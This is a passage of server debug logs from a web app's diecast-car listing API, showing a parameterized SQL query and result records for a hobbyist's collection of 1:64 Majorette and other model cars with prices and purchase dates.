  data: [
    {
      id: 150,
      model_name: 'Dodge Charge',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-15T18:30:00.000Z',
      price: '199.00',
      brand: 'Jams Toys',
      series: 'Mainline',
      brand_id: 191,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-07-14T05:54:34.445Z server-connect:router Serving serverConnect /api/diecast/list
2026-07-14T05:54:34.446Z server-connect:app Executing action step identify
2026-07-14T05:54:34.446Z server-connect:app options: { provider: 'security' }
2026-07-14T05:54:34.446Z server-connect:output identity: 1
2026-07-14T05:54:34.446Z server-connect:app Executing action step restrict
2026-07-14T05:54:34.446Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-14T05:54:34.446Z server-connect:output restrict: undefined
2026-07-14T05:54:34.446Z server-connect:app Executing action step paged
2026-07-14T05:54:34.447Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-07-14T05:54:34.451Z server-connect:output list: {
  offset: 0,
  limit: 100,
  total: 46,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini Coutach LP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 110,
      model_name: 'Volvo FMX low bed truck Trailor',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-16T18:30:00.000Z',
      price: '750.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: null,
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 109,
      model_name: 'Volvo excavator EC950F',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-24T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 108,
      model_name: 'Jeep Rubicon',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-08-07T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: null,
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-07-14T05:54:40.292Z server-connect:router Serving serverConnect /api/diecast/list
2026-07-14T05:54:40.293Z server-connect:app Executing action step identify
2026-07-14T05:54:40.293Z server-connect:app options: { provider: 'security' }
2026-07-14T05:54:40.293Z server-connect:output identity: 1
2026-07-14T05:54:40.293Z server-connect:app Executing action step restrict
2026-07-14T05:54:40.293Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-14T05:54:40.293Z server-connect:output restrict: undefined
2026-07-14T05:54:40.293Z server-connect:app Executing action step paged
2026-07-14T05:54:40.294Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-07-14T05:54:40.298Z server-connect:output list: {
  offset: 0,
  limit: 100,
  total: 32,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 190,
